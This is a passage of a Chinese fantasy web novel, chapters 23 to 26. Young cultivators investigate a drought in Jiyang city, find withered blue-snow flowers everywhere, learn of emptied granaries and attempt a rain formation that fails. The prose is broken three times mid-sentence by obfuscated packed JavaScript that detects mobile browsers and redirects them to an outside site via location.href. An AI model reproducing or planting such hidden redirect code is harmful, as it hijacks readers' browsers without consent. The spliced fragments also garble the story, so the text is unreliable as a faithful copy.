齐元白道:“这一株,长得与其他庄稼不同。” “这不是庄稼地里的东西吧?”公仪岭仔细看了眼他手里拿着的东西,“这像是开过花的样子,怎么会出现在这里?” 至于这是什么花,就完全涉及到公仪岭的盲区了。 好在,他们三人之中,还是有位姑娘的,恰好这位姑娘,又生长在花卉繁多的地界。 齐元白把捡来的植株递给了孟妙意,说道:“孟姑娘,你们青花谷那边花的品类多,你看看,能不能看出来这是什么花?” 孟妙意接了过来,低头检查了一下,迟疑道:“……两位,这好像是碧灵蓝雪花。” “碧灵蓝雪花?”公仪岭对花卉完全不感兴趣,唯一能认出来的恐怕也只有茶花了。他在飞速从脑子里过了一遍,十分肯定自己从没见过。 方才孟妙意还有些犹豫,拿着这枯花杆子在手中翻来覆去看了好几眼,几乎已经能完全肯定了。她点了点头,把几个显著特征的地方指给他们看:“碧灵蓝雪花开花的时候,颜色蓝白相间,喜光喜水,盛开的时候花团锦簇,十分好看。” 公仪岭仔细咀嚼她说的话,微怔道:“喜水?” 齐元白也很意外:“我曾听说过这种花,的确喜欢在湿润多水的土壤里生长,如今冀阳土地干裂,怎么会有这种花?” 孟妙意摇了摇头。 这花都枯成这样了,她能认出来都已经实属不易,至于这花的来头,就不清楚了。 想了想,孟妙意建议道:“我们三个在这片田里搜寻下,看看能找到多少碧灵蓝雪花,我总觉得……它出现在这里不是巧合。” 两人觉得她说的有道理,立刻从不同的方位开始搜寻。 这片农田不算太大,占地大约有四百亩,一株一株找起来颇为费劲。公仪岭本以为要找不少时间才能有所收获,哪成想刚找了不到两亩,他手上都已经快抓不下这些植株了,只能全都往行囊里塞。 酷热难耐,三个人搜寻半天,已是汗流浃背。 公仪岭实在是找不下去了,哑着嗓子朝齐元白那个方位喊了一声:“元白,你那边找的怎么样了?” 齐元白体质还不如公仪岭强健,这会连回话的声音都已经断断续续的了,勉力出声道:“多……多得很!” 那看来当真不是巧合了。 公仪岭又是喊了几声,将两个人召了回来以后,蹲在田旁边数自己找到多少株了。 三个人一起哐哐一顿数,算完以后脸色都不对了。 齐元白抹了把汗问道:“一共多少?” 孟妙意捡了个枯树枝在地上划拉出了个数字,轻声说道:“一共三百一十七株。” 23. 欲救无门路 怎安得其法(六) 公仪岭补充道:“田里还有些被踩烂了的,我还没捡。” “我看连庄稼的数量都没这么多。”齐元白沉声道,“有这些东西在,庄稼还怎么长?” 孟妙意蹙眉道:“城里百姓又不傻,光种花不种庄稼?胡闹呢?我看八成是有人恶意搞破坏吧!” 齐元白取出水喝了一口缓了缓,有些不赞成:“孟姑娘此言差矣,农田可是百姓们的命,每日都得下去看看,要是有人偷偷在田里种了这东西,早就该被发现了,哪还能留到今日。” 公仪岭也道:“这花一看就是已经开过了的,至少能证明在这边存活了一段时间,直到旱灾开始才枯萎的。” 这也不对,那也不对。孟妙意也是想不出别的法子了,有些不耐烦地摊了摊手:“那你们说,要怎么解释?现在看来这花在田里是长了不少时间的,总不能是大家都视而不见吧?” “……” 公仪岭和齐元白也是哑了,三人埋头讨论了一刻钟,依旧是一筹莫展。 片刻,公仪岭想起了什么:“你们一路过来的时候,可还记得城中有没有出现这样的植株?” 两人微微一怔,在脑子里翻找了许久,才异口同声道:“不记得了。” 又见沉默:“……” 公仪岭叹了一口气,心道要是承悦和燕蓉在的话,说不准还真能记得。 他沉默了一会儿,只得说道:“我看咱们还是折回去在城中找找看,要是也有的话,没准这花就是重要的突破口。” 拣了几支看起来稍微完整的花收拾进包袱后,三人拖着疲惫的身躯,一路回到东边的城门口。 谁料刚进去几步路,迎面就遇上了公仪岚他们四人。 公仪岚看了一眼他们来的方向,不用想也知道他们是刚从农田回来,问他们道:“农田里是什么情况?” “大哥你来得正好。” 公仪岭从肩上把包袱卸下,取出了里面的东西给他们看:“田里几乎全是这种枯萎的花,我们正想在城中搜罗看看有没有呢,咱们七个人一块搜的话,还能快些。” 谁知那四人看见他拿出来的花后,脸上的表情是精彩纷呈,半天也没说出一句话。 公仪岭打量着他们面色,心中暗叫不好,刚忐忑着想问,那边燕蓉已经手脚麻利地从行囊里也取了东西出来。 “这……这也是……” 公仪岭干巴地念了两句,再也说不下去了。 两两一对比,燕蓉拿出来的东西,分明也是碧灵蓝雪花! 燕蓉他们捡到这些植株后,也分辨不出这到底是什么花,等孟妙意解释完,四人也是表情凝重。 孟妙意问道:“城里找到了多少?” 公仪岚道:“我们四个人搜了东南西北四个方位,可以说整座城各个角落都有这东西存在的痕迹,不计其数。正想要出城去农田看看情况,就遇到你们了。” 公仪岭惊道:“竟然有这么多!” “何止。” 司月吟垂下眼眸:“我们问了城中百姓,他们说,这花在几个月前,开遍了冀阳满城。” 这就离奇了。碧灵蓝雪花喜光喜水,最适合在位置偏南、气候温润的地方生长,跟冀阳八竿子都打不着,即便是城民心血来潮,自家想养一养这观赏性花朵,农田里也断然不会有这么多蓝雪花。 “凭空出现的?” 齐元白捏了捏手中脆弱的花茎,颇为诧异:“这不可能,若是有这样的植株在城中各地生长,大家早该发现了,怎么会说是凭空出现?” 燕蓉在此时却想到了什么,表情一滞,缓缓说道:“诸位,凭空出现这个事情,恐怕大家都不陌生吧?” 她一说完,众人显然也都意识到了什么。 公仪岭低声说了一句:“障眼法。” 原先一直没有,开花了突然就显出来了,可不就是仙家人人都会的障眼法? 只可惜,这花都已经枯成这样了,即便他们现在施法,也不可能从上面探寻到障眼法的痕迹。 可若是仙家的人做出此事……公仪岭不敢细细深思下去。 似是看出众人在想什么,司青筠开口道:“依我看,此事也不一定是仙门中人所为。民间会障眼法的道士不在少数,怕不是有人故意布下这障眼法,将所有的碧灵蓝雪花隐去,再等开花的时候去掉,于是就有了一夜开花的错觉。” 孟妙意却道:“可是,光是一个碧灵蓝雪花,也不至于把冀阳城弄成这样……” 公仪岭琢磨着她的意思,顺势问道:“你是说,这东西被人动了手脚,为了活下去吸干了土里的水?” 孟妙意不置可否:“这人若能施个障眼法,动这种小手脚肯定也不在话下了。” 公仪岚分析道:“等土干了,碧灵蓝雪花自然也就枯萎了。这也许只是干旱前的一个诱因,或者说铺垫。” 如果是这样的话,这个人的水平绝不会低,想要设法障住这么多花,可不是那些街上招摇撞骗的小道能做到的。 公仪岭默默想着,又问道:“那城中的粮仓你们可去过了?” 司青筠拧眉道:“去过了,只不过我们本以为他们能在这地方有所收获,谁知刚表明来意,守在外面的士兵便是一问三不知,完全问不出什么东西。” 司月吟也是扶了扶额:“守着的士兵只说自己是新来的,他们不清楚。” 齐元白不死心道:“你们有没有问,城中闹饥荒之前几个月,粮仓有出过什么事情吗?就算是去年收成不好,往年的囤积也该足够吧?” 司青筠叹了一口气道:“唯一的收获也就是这了,从粮仓出来以后,我们倒是问了几个百姓。都说半年前城内突然有人放了消息要高价收粮,不少人都去了。” 如此巧合的时间点,难免让人起疑。 公仪岭顿时来了精神:“可知道那人是谁?长什么样?” 司青筠摇头:“不知,我们回去问问城主这件事,看看他怎么说吧。” 公仪岭侧头一想,也是,城中有人高价收粮这件事,作为冀阳城的城主总不可能一点风声都不知道,要是回去问完发现他刻意隐瞒的话,也就清楚这城主到底有没有问题了。 公仪岚道:“好。正好承悦用灵讯石跟我们联络,说现在也已经到城主府中了,我们先回去问问也无妨。” 众人将干花妥善收好后,便启程赶了回去。等回了城主府,公仪岚独自一人去寻了城主,其他人则是一回去就看见院子里整整齐齐多了七个人,每个都是风尘仆仆的模样。 其余几家穿着深色衣服的倒是看不出有什么不整洁的,反倒是纪银灵那一身白衣上弄得污渍斑斑,显然也是遇到了他们进城时候发生的事情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429891|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 公仪岭忍不住出声道:“纪姑娘,你这衣服……” 她对此却是表现的十分平静,好像没什么不习惯的,只瞥了眼衣服上的污渍说道:“不要紧的,小事。” 她简单说完,便径直坐到旁边休息去了。承悦见他们回来,赶忙起身道:“早听城主说你们出去了,可有什么问题?” 公仪岭心道外面问题可大了,就取了碧灵蓝雪花来,把今日的事情同他们一说。 承悦也是在云灵山长大的,只听说过碧灵蓝雪花其名,没有亲眼见过。他还没什么表示,旁边一位青衣男子听到他们交谈内容后,倒是先诧异出声:“碧灵蓝雪花?” 公仪岭循声望去,见此人眉眼颇为眼熟,耳侧编了几条细细的辫子,发间也缠绕了不少银饰,还没想起此人尊姓大名,就听到身后女子匆匆翻出枯萎的植株,递过去给他:“二哥,你看看这是不是碧灵蓝雪花?” 这下,公仪岭也明白了这眼熟的感觉是从何而来,再仔细一看,这人的五官果然和孟妙意长得七八分相似,是她的那位二哥,孟正初。 孟正初只看了一眼,立即道:“没错,就是它。” 公仪岭和孟家的人相熟地不多,在认识孟妙意之前,唯一认识的一位仁兄还退隐江湖,躬耕农间云游四方去了,要想见他一面,非得等春节后的宴会才行。 虽然跟孟正初不熟,但公仪岭犹豫了片刻后,觉得他们那边的人对此颇有研究,没准能发现什么。还是凑了过去套近乎:“孟兄,那你看看这花上有没有下什么咒?比如能增强它们吸水之类的?” 孟正初一阵无言:“都枯成这样了,哪里还看的出来。” 远处一人大概是听到了他们讨论,将手中的本子递还给了燕蓉,走了过来:“大致情况我了解了,那你们明日就是打算分头行动去布阵和行医吧?” 这人二十出头,身着暗紫色圆领袍,苍劲如松,修长如竹,微微上挑的眉眼之中带着温和的笑意,手中还拿着一把如墨似玉的折扇给自己扇风,正是紫阳宗的大师兄燕煦泽。公仪岭对他点了点头:“正是。” 燕煦泽建议道:“现在城中形势严峻,人手紧缺,我看不如两支队伍合作一番,你们意下如何?” 公仪岭道:“我倒是没什么意见,跟加试赢不赢比起来,还是先以这个为重的好,多一个人多份力,不过,我看还是先等我大哥问了城主回来再说。” 大家七嘴八舌讨论了一刻钟,这才等到公仪岚回了院子。 公仪岭赶忙问道:“大哥,那城主可说了粮仓的事情?” 公仪岚深吸了口气,缓缓道:“可不是什么好消息,可以说是丑闻了,难怪那几个士兵不知详情,我瞧城主说起来也是颇为难。” 公仪岭道:“莫不是跟那收粮的有关?” 公仪岚叹道:“正是。说起来这事情也是他们失察,不知道下面的人动了歪心思,想要掏空粮仓,那些人本以为这事情天衣无缝,等秋收的时候就可以瞒天过海。等到了粮食歉收后,为了不让城主发觉,瞒而不报此事,先将粮食供应给了城主府。” 话说的明白,众人也听的明白。 燕煦泽低声道:“难怪,这种事情等上面的人细细追查完,这城主还能不能继续坐在这个位子上都是个未知数,现在还没动静,说不定是想等事情平息后,再秋后问责。” 24. 城中安灵物 与君论对策(一) 不过,这样的事情,就轮不到他们插手了。虽然城主说是这样说,在他们面前把自己摘了个干干净净,但平心而论,公仪岭还是希望皇城那边能够将此事秉公处理,不徇私枉弊任何一人。 公仪岚眉心微动,思量了一番后,道:“皇城那边暂且不提,就算问责也改变不了现在的情况。城中饥民众多,我们也只来了十四个人,实在是……难以顾全大局啊。” “所以,合作吧。” 燕煦泽说完,轻轻挑眉:“眼下的情形,想必大家也都顾不上这是不是仙考加试环节了,能抓紧时间多救一个是一个,众人现在合作的话,想必这件事情也能更快解决,于我们双方而言,百利无害。” 公仪岚一想,燕煦泽说的不无道理。这样要紧的关头,他们每个人要是都只顾着自己的利益,又怎么能更好地解决困境?立即道:“没问题,只是布雨阵到底不是我们的专长,合作之后,具体怎么分工还是要听听司姑娘的意见。” 燕煦泽唇角笑意渐深,对司月吟轻轻颔首:“司姑娘,有什么需要我们的地方尽管说,我们照做就是。” 然而,这若是小范围的雨阵倒也还好,要想彻底解除冀阳的旱灾,这一场雨非得痛痛快快地下上十天半个月才行,如此一来,就颇有难度了,司月吟仅凭自己的法力,也不知能把这场雨维持多久的时间。不由想着,要是能叫那三个长老来把阵布完,就好了…… 公仪岭犹豫片刻,还是坦然问道:“司姑娘,我看你们当时答应的为难,此事,你们究竟有几分把握?” 司月吟沉吟片刻才道:“实话说,让我自己一个人的话,五成吧,如果加上师兄相助,大约就有七成把握了,试试也无妨。” 才七成…… 公仪岭心中难免遗憾,忍不住轻声道:“……我看,还不如让三位长老帮个忙布下雨阵,这样十万火急的事情,他们总不能推辞了去。” 公仪岚深吸一口气:“阿岭,长老既然是让我们下来历练的,自然是有他们的用意,怎能投机取巧,反叫他们来解决呢?” 公仪岭只得作罢,讪讪道:“好吧,我不提就是了。” 既然决定好了行动方向,那具体的安排也该落实一下。 燕蓉等了半天,也不见有人问人员安排,顿时习惯性地问道:“不如,我们就先把布阵的人确定了吧?司兄,毕竟这么大一座城,少不得要跑腿。你们看布下降雨的阵法需要几个人帮忙?” 司青筠思索片刻,道:“需要四人。” “要跑腿是吧?那就好办了!” 齐元白一拍公仪岭的大腿,热心建议道:“既然这样,我看倒不如让他们剑修的去吧?怎么说他们还能御个剑,用来满城跑腿最合适不过了,他们剑修的三个人都去,剩下一个人,再从我们几个人里面选就好了。” 承悦答应的干脆,立刻表态:“我没问题。” 公仪岭吃痛,嗷了一声,忙收了腿一阵狂揉:“齐元白你好好说话,动什么手啊!我看你就是懒得跑城东城西。” 齐元白认真道:“现在咱们办事效率第一,我跑得肯定没有你们御剑飞得快。” 无疑齐元白说的话是很有说服力的。见大家目光都看着自己,公仪岭只得点了点头,“好吧,我那会的一点肯定是比不上抱元门的人的,到时候你们说需要怎么帮,我就怎么做吧。” 公仪岚也点头道:“可以。” 三人齐了,司青筠没理他俩耍嘴皮子,转而问其他人道:“还有一个谁来?” 纪银灵道:“我来吧。” 众人望向她,虽然看见纪银灵难得主动开口,有些意外,但也觉得她是再合适不过的人选了。 布阵之事如此要紧,没有一个在旁边护法的人怎么行?恰好纪银灵的那一曲《慰灵》弹得天上有地上无,最适宜护法不过,由她前去,大家都颇为放心。 孟妙意点头道:“既然四人齐了,那其他几个人就跟我和二哥去街上治病放粮,有这么多人的话,应该忙得过来。” 燕蓉对司月吟道:“你们尽力而为,不必太有压力。若是没能成功的话,咱们到时候再想办法就是了。” 于是分工就这么轻松分好,几个人简单交流了一番,便各自回房休息,等到第二天公仪岭起来,才发觉孟妙意他们一早就已经出门了,留下公仪岭他们几人面面相觑。 “他们何时出去的?”公仪岭问承悦。 公仪承悦飞快地清点了一番东西,确定没有遗漏后才说道:“卯时就出去了,据说是孟姑娘晚上翻来覆去难以入眠,就一大早拉着孟正初他们离开了。” 几日相处下来,公仪岭也更加清楚了几人的脾气秉性。 其他人跟他之前的印象倒是出入不大,这其中,要数印象改观最大的,也就是孟妙意了。 虽然这姑娘脾气的确骄纵了些,但公仪岭也能看出来,她是个至情至性的人,何况,之前与她起冲突,归根到底,也是他有过在先,没什么好不承认的。 公仪岭挠了挠头,感慨道:“承悦,你别说,我突然觉得孟妙意也没那么讨厌了,看着是个好人。” 承悦笑道:“孟宗主膝下就她一个女儿,何况孟妙意上头还有两个兄长,不管哪个都是极惯着她的,小姑娘年纪轻,自然娇气了些,她也就是偶尔喜欢耍小孩子脾气,人还是心善的。” 公仪岭道:“我看我下次还是找个机会与她道个歉吧……对了,司姑娘他们人呢?” 刚说完,旁边房间就出来了一人,肩上不知扛了袋什么东西,看起来十分沉重,声线也略显疲累,应了一声:“我在这里。” 也不知司月吟是昨夜想着布阵的办法还是怎么了,整个人看起来有些精神不太好,匆匆跟几人打完招呼后,便揉了揉眉心,她身旁的司青筠见她状态不佳,也颇为忧心地看了她两眼,似乎欲言又止。 公仪岚顺手将她肩上的东西接过,一掂量,就发现这袋东西比他想象的还要沉重,诧异道:“司姑娘,这里面装了什么,怎么会这样重?” 司月吟见他搭了把手,也不客气,将袋子递到他手上,示意他们打开看看。 公仪岭凑上去往里面一看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429892|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就见里面类似于石头木头骨头、珊瑚玛瑙琥珀之类的东西放了花花绿绿一大堆,什么都有,品类俱全,周围的灵气嗖嗖地冒着光,随便一看就知道,不论哪个都是上好的物件。 承悦当即眼前一亮,眼看着一手就要去摸背包里的算盘,下一秒就被公仪岚强行摁了下去,顿时投去了一个幽怨的眼神。 就连纪银灵也微微瞪大了眼,面上满是惊异,很显然,她也没见过这么多宝物。 公仪岭指着袋子,震惊道:“这么多??” 要知道他这么多年了也没集到这么多东西啊!公仪岭开始怀疑人生起来,伸手翻了翻袋子里的东西想看看有没有稍微普通点的,未果。 司月吟不以为意,跟掏垃圾一样随手掏了掏里面的东西,淡声道:“这些都是我这些年门内比试赢来的宝物,我昨天晚上连夜翻出来的。想要布下这么大的阵,没点好东西压阵怎么行?” 司青筠在旁边道:“师妹此言差矣,这里面倒也不是所有东西都能拿来压阵的,有些灵气不够的二品灵物就不行,我还得再在里面挑拣挑拣,看看有没有厉害些的。” 司月吟点头:“师兄你随便挑,看看有没有能用的。” 公仪岭沉默了。 在他看来个顶个是上好的宝物,拿哪个压阵不是压?当年他练习的时候,拿来压阵的最好东西,也不过是自己腰间从小带着的那块凤佩,拿来凑合着用。 当然,由于那凤佩只有半块,最后效果并不理想,公仪岭把失败的原因都归结于此,还企图偷了大哥的那块龙佩,想要凑个完整。只可惜最后依旧没成功,还被爹妈追着打了一顿。 抱元门之阔绰,简直超乎了他的想象! 公仪岭果断说道:“你们宗门下次有什么比试,还请捎上我。” 承悦见缝插针举手:“还有我。” 司月吟笑道:“都是门内随意比试着练习的,等下次有机会你们来游学,试试也无妨。” 说完,司青筠也拣好了几个物件,淡声道:“出发吧,我们过去再说。” 纪银灵跟上,问道:“你们已经想好如何布阵了吗?” 司青筠摇了摇头,说道:“我们刚来这边,对这里的地形都还不熟悉,还是先去四个方位看看才是。诸位,你们可有合适的地点,最好是个能看见全程的高处?” 要说高处,那还真有一个。几人不约而同地想到了同一个地点。 公仪岚思忖道:“我听闻冀阳城后有一座九鼎山,能够看得到城中全貌,不如这样,司兄你就依照手里的地图,通过灵讯石来指示我们做什么,你看如何?” 司月吟立刻同意:“师兄,我看就这样吧,还能节省些时间。” 司青筠也没多说什么,只从怀中取出几面旗子交给他们,说道:“那你们便先根据东西南北的顺序过去,我独自上山,届时用灵讯石与你们联系。” 公仪岭见这旗子通体漆黑,旗面上用朱笔画了不少奇怪的纹样,就知这旗子是抱元门专用的阵旗。 他默默接下旗子,道了一声:“好。” 25. 城中安灵物 与君论对策(二) 冀阳城说大不大,说小也不小。几人兵分两路,司青筠带着东西上山,他们几人则是前往城中各个方位布置阵旗。 等几人通过灵讯石确认司青筠上山以后,公仪岭便纵身朝屋顶一跃,稳稳落在一片瓦片上,随后身姿轻盈起落飞纵在在城中各处的屋脊上,另外四人也是身法飘逸,紧随其后。 司月吟手中握着灵讯石,里面时不时传来司青筠的声音:“往东四里,有一处空地,把阵旗安插到这里。” 公仪岭心中估算了一下距离,从屋脊上落下,沿着两侧房屋绕了一圈,指了一处对众人道:“是这里吧?” 公仪岚打量了一下四周:“应该没错。” 司月吟也点了点头,取了手中阵旗安在了土块间的裂缝里,左手一翻祭出昆吾轮,对阵旗施了个法诀。公仪岭马上看见那阵旗似乎亮了亮,起了作用。 公仪岭奇道:“这就是那个传说中能够就地起百阵、有毁天灭地之力的那个一品灵器?” 纪银灵也侧目道:“自藏元长老炼出这个灵器后,便只有传闻,无人亲眼见过,原来是月吟姑娘的法器。” 承悦啧啧赞道:“早听闻司姑娘手中的是仙门法宝榜单里名列前茅的昆吾轮,果真名不虚传。” 司月吟翻手一挥,那宝物就消散在她掌心。 她道:“承蒙藏元长老厚爱,赠与宝物。不过,说是毁天灭地就夸张了,若是真能如此,这就不该是灵器,反倒是凶兵了。” 这个传言,公仪岭也只是听人说起过,故而随口一提,听到司月吟这样认真和自己解释,公仪岭也有些讪讪,胡乱应了两句,就闭口不答了。 见气氛有点尴尬,公仪岚连忙打了个圆场,道:“现在看来,这阵旗应该是有作用的,想必这雨阵能成。” 司月吟点头道:“我看师兄的思路没什么问题,成与不成,一试便知。” 纪银灵道:“那就继续去下一个方位吧。” 他们行进速度极快,按着灵讯石中传来的指示,沿着地图一路安置阵旗。公仪岭没有细细去看布完阵旗后的变化,只是飞檐走壁的时候他的五感清明,陆陆续续听见了不少百姓的声音。 “你们看,这天上有云了!”一位妇人的声音传入耳中。 “老天爷,这是我一个月来第一次看见云……” “娘,是不是……要下雨了?”也有孩子颤颤巍巍地发问。 听到这些话,公仪岭下意识地抬头望天,才发觉不知道什么时候起,刺眼的阳光已经弱了一半,他已经不觉得日光晒人了,天上开始逐渐层云密布起来。 几人显然都意识到了这样的变化,振奋不已。不过半个时辰,就已经将城中外八角内四角各处安置好了阵旗,只差司月吟手中早已备好的一等水系灵石用作阵眼。五个人一路横飞纵跃回到冀阳城中心的位置,就见那地面深陷,显然是司青筠所说阵眼的位置。 司月吟在空中将手中灵石往下一掷,石头骨碌碌在地上滚了段距离,稳稳落入了中心的位置,刹那间消失不见了。 公仪岭发自内心感叹道:“没看出来,司姑娘竟然掷得这么准,一看就是个打水漂的好手!” 公仪岚被他说的话一噎:“阿岭,不许影响司姑娘布阵!” 公仪岭搔了搔脸颊,讷讷道:“大哥,我发现你越来越护着……”结果话还没说完就被承悦的手一肘,打断了。 原本布完阵旗后,天上就飘来了不少云,就连空气也越来越沉闷。等到灵石落定,忽然间更是狂风大作,飞沙走石。潮水般的风一浪一浪朝他们席卷来,犹如惊涛拍岸在半空中嚎叫嘶吼,两侧房屋的窗户被吹得吱呀作响,左右拍打,片刻后才被屋内惊慌的百姓死死关住。 公仪岭心念一动:“看这样子,成了!” 黄色的衣袍在屋脊上被吹得衣袂翩飞,猎猎作响,司月吟却在狂风中岿然不动,手中昆吾轮像是感知到了什么,开始嗡嗡震动起来。她看向昆吾轮,轻念了一句阵诀,闭上双目,微微抬手,周身灵气暴涨,化作丝丝金光注入轮中。 片刻以后,司月吟倏然睁眼,一只手轻轻抬起,昆吾轮中那丝丝缕缕的灵气宛如被赋予生命,如游蛇般四散,朝着各个方向而去。 与此同时,城中各处光芒四起。登时一道惊雷劈过,天光大作,映照乌云。 纪银灵一手抚过叱灵琴,《慰灵》曲调缓缓流出,用极轻的声音道:“我还是第一次瞧见抱元门布这么大的阵法呢,如此壮景,当真是传言不虚。” 公仪岭眼睛一眨也不眨地看着城内布旗的方位,期待着雨滴降下来。 各方金光纷纷往天上汇聚去,一瞬间天空正中央某块地方光芒大盛,似有阵图形成,然后便转瞬即逝。司月吟在此时却突然眉头微皱,周身灵力竟是被她强行再一次倾泻到昆吾轮中。 怎么回事…… 见此场景,公仪岭心中隐隐不安,紧紧捏着拳头,却不敢出声叨扰。 眼见着司月吟开始额头沁出密密的汗珠,远处的金光也越来越甚,可是那些云像是存心与她作对一般,依旧是没有化成一滴雨水落向人间。 公仪岚手中紧紧握着灵讯石,正犹豫要不要问一问,忽然灵讯石内传出司青筠的一声大喝:“快停下——!快!” 此话一出,众人还没有反应过来,公仪岚竟已经一个手刀劈向司月吟。司月吟本就因灵力四散身体发虚,毫不费力就被直接打晕。幸亏一旁的纪银灵反应快,中断曲调后,帮着扶了一把,这才没有让她滑下屋脊。 司月吟一晕,四方金光渐渐微弱,那些灵气也收回昆吾轮中,回到了她体内。 公仪岭被这突如其来的变故一惊,再次抬头看向天空,看见好不容易聚集了一些的云已经隐隐有散开的趋势。 承悦也是惊呆了:“怎么回事?” 纪银灵难得显现出怒容,竟是一把夺过灵讯石,对着它斥道:“到底是什么情况?!” 司青筠被她一吼,在那边沉默了片刻,冷声道:“纪姑娘,你质问我,我又怎知?这阵法本就是如此布局,你若是不信的话,问问他们便知!” 他这话说得不错,方才布的每一面阵旗在什么方位多少距离,公仪岭都记得清清楚楚,与他记忆里的阵型分毫不差,于是对纪银灵点了一下头,低声道:“确实是这番布局。” 纪银灵转头看向公仪岭,听到了他说的话,深吸一口气压下怒气,复而冷静道:“抱歉,方才是我失态了。只是刚才月吟姑娘用了过多灵力,怕是需要休养一下了。” 公仪岚对着灵讯石道:“司兄,这阵法未成,司姑娘现在又虚弱,我看倒不如先回府中商议,看看到底是哪里出了问题?” 司青筠思考片刻,道:“好,你们先带师妹回城主府,我随后就到。” 回到府后,司月吟尚在昏迷之中,纪银灵从公仪岚怀中接过了她,道:“她失了不少灵力,我先给她输些,看看能不能缓解再说。” 公仪岚面上担忧之色不减,犹豫片刻后,还是说道:“也好。” 公仪岭清楚刚才大哥打晕她的时候用了几成力气,按理来说不出一刻钟也该醒转了,可回来以后司月吟却迟迟未醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429893|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也就知道这阵法怕是耗了她不少灵力,就道:“你们进去吧,我们在外面等他们回来。” 承悦在身后拿着灵讯石说完,收起石头走了过来:“我已经和孟姑娘他们联系,告知了此事,她说城中病患众多暂时脱不开身,等日落了他们就回来。” 公仪岭看了看天色,心知离日落也不过一个时辰了,就随便找了个石凳子坐下:“哎,这下怕是又让城中百姓失望了,我路上还听见他们说终于要下雨了呢。” 公仪岚迟疑道:“我看他们已经尽力,只是不知道为什么没成功。” 承悦叹息道:“等司兄回来问问就是了,不过我看这事情他多半也没料到呢。” 公仪岭也是心里存了些疑惑,想了半天却又觉得脑子里思绪乱成一团毛线,一时间琢磨不出头绪,面色沉沉没有说话。 三人围着一张石桌坐定,等了有半个时辰,才等到司青筠进门。 公仪岭见他进门,看向司青筠焦急道:“可弄清是怎么回事了吗?” 司青筠脚步微顿,走到石桌旁将收来的阵旗放在上面,才坐下道:“我去城中检查了各处阵旗的位置,并无不妥。” 承悦道:“那这阵旗本身可有问题?你们上面的图案没画错吧?” 司青筠摇头:“这阵旗是直接从抱元门带来的现成旗子,并非我后来画的,不会有问题的。” 公仪岚叹气道:“可是,司姑娘现下还昏迷着,你说完那句话后,她被我强行打晕了。这按理说,不出一刻钟也该醒了,只是现在……” 司青筠看了一眼掩着的房门,低声道:“多谢。还好你出手制止了她,不然按她的性子怕是又得折不少灵力进去。” 公仪岚怔道:“她……素来如此吗?” 公仪岭忽然想起仙考大会的时候,就多嘴问了一句:“难道司姑娘之前不参加仙考是这个原因?” 刚说完他又暗暗后悔,毕竟说到底这是别人宗门的事情,现在司月吟状况不佳,他这么问倒显得背地里议论,有些冒昧了。 司青筠没有在意,道:“也有这方面的原因吧,但不完全,毕竟几位长老是真的没打算让她参加来着。不过她从小性子就这样要强,若是往难听了说,便是容易一意孤行了。按这么说,我觉得不让她参加也是好事,谁知道她较真起来会把自己弄成什么样。” 承悦不着痕迹地瞥了公仪岚一眼,悠悠道:“看起来司兄还挺了解司姑娘,从小认识的感情果然不一般。” 司青筠淡笑道:“三位长老只有我们二人是直系弟子,接触多了也就知道了。别看她随手能拿出那么多宝物,可都是比试的时候拼命为了取胜才赢来的,总把自己搞成这样狼狈。她这人,是个死心眼的啊。” 公仪岭悻悻道:“好吧,没想到你们自己比试起来这么凶残,我还当她赢了这么多很轻松呢……” 公仪岚忽略了承悦的目光,正想开口说什么,却见这时候那扇掩着的房门猛然被人推开。 四个人闻声一齐站起身,惊诧地看着司月吟推门而出冲了过来,身后还传来纪银灵略显头疼的喊声:“月吟姑娘,你还需要静养……” 话说完公仪岭也就明白了,定然是纪银灵刚给她渡完灵力没多久,司月吟就悠悠醒转过来,不顾劝阻就出了门。 公仪岭张了张口,也想劝上一句,那边司青筠就已经训斥道:“出来干什么,回去歇着!” 司月吟面色苍白如纸,额前发丝都被汗珠沁地变成几缕,仍是一路小跑过来,急忙喊道:“师兄,师兄,我知道了……我知道是为什么了!” 26. 城中安灵物 与君论对策(三) 司青筠被她说的话弄得一愣,下意识问道:“什么?” 司月吟好不容易站定,抹了把汗。承悦连忙给她扶到了石凳上,她缓了缓身子,平复了呼吸才道:“师兄,我知道为什么雨阵没起作用了。” 公仪岭道:“为何?” 司月吟神情急切:“你当时在场,可看见天上有什么异样?” 公仪岭仔细回忆了下,印象最深刻的是灵气进入昆吾轮然后化作金光四散的场景,就道:“我记得当时天上云挺多的,阵旗化作的金光往天上去了,以为马上就要降雨,谁知那些云聚了一会儿便散开了。” 他说完,与其他人八目相对互相确认了一番,见他们脸上也是认同自己的表情,才重新望向司月吟。 “不,不对。” 司月吟摇头,伸出一只手指了指天空:“你们还记得吗?当时天空中金光大盛,层云间有一个阵图一闪而过……” 